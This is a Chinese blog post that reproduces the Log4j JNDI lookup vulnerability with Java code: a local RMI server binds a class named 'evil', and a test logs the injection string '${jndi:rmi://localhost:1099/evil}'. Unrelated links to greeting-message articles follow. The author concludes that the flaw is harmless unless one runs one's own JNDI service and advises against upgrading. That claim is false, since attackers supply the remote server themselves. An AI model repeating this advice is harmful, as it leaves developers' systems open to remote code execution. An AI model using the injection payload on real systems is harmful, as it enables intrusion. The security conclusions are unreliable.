log4j日志漏洞问题
创始人
2024-01-25 12:51:04
0

    去年,log4j被爆出了一个漏洞,说可以通过利用日志格式化中的远程注入控制主机。当时,这个漏洞被形容为史诗级漏洞,因为这个远程操作可以执行一些操作,如果这个操作有恶意,那么就可以干任何事情,其实有点唬人。

    log4j影响的版本是>2.0并且<2.14.1。

    下面简单复现一下这个漏洞:

     pom.xml

org.apache.logging.log4jlog4j-core2.14.0

    log4j2.xml







  Hallo.java

package log4j2;public class Hallo {static {System.out.println("莫名奇妙被执行。。。");}
}

Log4jServer.java

package log4j2;import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Log4jServer {public static void main(String[] args){try {Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("log4j2.Hallo","log4j2.Hallo",null);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("evil",referenceWrapper);}catch (Exception e){e.printStackTrace();}}
}

    这个程序,开启一个rmi服务,绑定了Hallo类,对外暴露的远程服务是:jndi:rmi://localhost:1099/evil。当远程客户端调用这个服务,Hallo类就被初始化,并执行static代码块中的打印功能。

Log4jTest.java

package log4j2;import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;public class Log4jTest {private static final Logger LOGGER = LogManager.getLogger(Log4jTest.class);public static void main(String[] args) {//System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");String name = "${jndi:rmi://localhost:1099/evil}";String osinfo = "${java:os}";LOGGER.error("hello,{}",name);}
}

   先启动远程服务类Log4jServer,然后运行Log4jTest,控制台打印如下:

 

    如果不开启Log4jServer,直接运行Log4jTest:

 

    从上面的打印结果来看,我们在客户端里面其实就是想输出日志,但是我们通过一些表达式,比如:LOGGER.error("hello,{}","${jndi:rmi://localhost:1099/evil}")来拼接日志信息,日志会进行格式化,在格式化的时候,会查找一些lookup,这里面有如下的lookup:

 

    正好就有jdni这个lookup,所以这里示例最后就根据表达式执行rmi操作。

    还可以试试upper格式化操作:

     经过上面演示的这个jndi日志格式化,我们似乎可以模拟出一个远程操作的漏洞,然后这个漏洞就被人形容很危险,其实如果你用了apache log4j的这些低版本,但是你没有注册jndi服务,黑客再怎么牛逼,也无法攻击你。

    做IT的,尤其是一线开发,对这个问题,我似乎觉着它不严重,根本不用担心,很多人觉着远程漏洞就可以入侵计算机,然后执行任意操作,其实都是夸张的说法,上面的过程,我们很清楚,最终我们只能调起evil这个服务,这个服务是我们自己编码的,完全可以自己控制,所以安全问题压根不存在。所以我也不推荐升级,完全没必要,知道怎么回事就行了。

相关内容

热门资讯

圣诞祝福信息 圣诞祝福信息(精选50句)  很久没联系的同学,再不联系,感情就会淡了,趁着圣诞节的到来,发一条圣诞...
2017年有关立夏的祝福语   立夏将至,下面是小编整理的有关立夏的祝福语,欢迎阅读。  1、 好久不见,遥送思念,真诚问候,及...
姐姐给弟弟结婚祝福语 姐姐给弟弟结婚祝福语  1、愿你们的家园如同伊甸园般地美好和谐,在地如同在天!  2、十年修得同船渡...
女朋友过生日祝福语   女朋友过生日祝福语  1、地球上两个人能相遇不容易;只有让你拥有我的爱情;我才安心。一直想做件事...
送给母亲的祝福语 送给母亲的祝福语  在学习、工作、生活中,大家总少不了要接触或使用祝福语吧,祝福语的类型多样,可以是...
父亲节贺卡的祝福语 父亲节贺卡的祝福语(精选90句)  在现实生活或工作学习中,大家都经常接触到祝福语吧,祝福语可以给人...
对老师祝福的话语 对老师祝福的话语大全  在日常生活或是工作学习中,大家都不可避免地要接触到祝福语吧,祝福语往往灵活机...
父亲节快乐英语祝福   如何用英文祝福父亲节快乐?下面小编为大家带来的是一些父亲节英文祝福语,欢迎阅读。  父亲节英文祝...
三伏天祝福语 三伏天祝福语汇集  在日常的学习、工作、生活中,大家总免不了要接触或使用祝福语吧,根据祝愿的对象不同...
春节搞笑拜年祝福语 春节搞笑拜年祝福语集锦  在生活、工作和学习中,要用到祝福语的地方还是很多的,祝福语可以起到增进人与...
祝重阳节快乐的祝福语短信 2020年祝重阳节快乐的祝福语短信72句  今日登高樽酒里,梦里思念全是你,遍插茱萸少了你,只好发个...
兄弟结婚的祝福语 兄弟结婚的祝福语大全  在日常学习、工作和生活中,大家或多或少都会用到过祝福语吧,祝福语可以增进我们...
七夕快乐祝福语 七夕快乐祝福语  在学习、工作、生活中,大家都用到过祝福语吧,根据祝愿的对象不同,祝福语分为吉日喜庆...
表达中秋节快乐的祝福语短信 2020年表达中秋节快乐的祝福语短信汇总38句  月亮圆,月饼圆,团团圆圆人团圆;家人圆,幸福圆,快...
感恩节老师祝福语 感恩节老师祝福语  在日常学习、工作或生活中,大家对祝福语都再熟悉不过了吧,祝福语可以增进我们和他人...
七夕给爱人的祝福语 七夕给爱人的祝福语15篇  在现实生活或工作学习中,大家对祝福语都再熟悉不过了吧,祝福语就是把心中的...
九九重阳节祝福语 2020年九九重阳节祝福语集锦80条  九九艳阳天,秋高气爽,正是枫叶最艳时,我们结伴去香山看红叶,...
情人节快乐的祝福语 2020年精选情人节快乐的祝福语合集24条  爱是正负电源,碰出火花四溅;爱是誓言,把一生一世戴在指...
写给孩子的高考祝福语 写给孩子的高考祝福语(精选100句)  无论在学习、工作或是生活中,大家或多或少都会用到过祝福语吧,...
经典周末温馨祝福语 经典周末温馨祝福语50句  声声祝福,请微风替我传送;缕缕关怀,托流水替我寄予。虽然忙忙碌碌无法相聚...